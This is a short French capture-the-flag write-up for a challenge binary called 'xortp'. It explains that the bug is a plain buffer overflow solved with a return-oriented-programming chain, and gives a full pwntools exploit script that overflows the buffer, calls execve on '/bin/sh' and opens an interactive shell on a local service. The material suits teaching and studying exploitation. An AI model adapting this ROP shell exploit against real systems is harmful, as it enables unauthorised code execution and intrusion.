Table des matières
Résolution
Après quelques tests on voit que c’est un simple buffer overflow.
Il n’y a pas de fonction directe dans laquelle retourner pour avoir un shell ou quelque chose d’interessant, il faudra faire du ROP (return oriented program)
Tout est là pour simplifier ; l’adresse en mémoire est fixe (pas PIE), il contient /bin/sh
et importe execve
.
Les “gadgets” pour le ROP sont là et pwn les trouve pour nous.
Exploit
from pwn import *
#context.log_level = 'DEBUG'
context.arch='amd64'
debug=False
local=False
vulnbin=ELF('./xortp',checksec=False)
if local:
p=process('./xortp')
if debug:
rdbg = gdb.attach(p,gdbscript='''
# break *main+0x97
break *main+0x157
c
''')
else:
p=remote('localhost', 4000)
rop=ROP(vulnbin)
rop.call('execve',[next(vulnbin.search(b'/bin/sh\x00')),0,0])
p.sendlineafter(b'encrypt?\n',cyclic(26*6-4)+rop.chain())
p.sendline(b'uname -a')
p.interactive()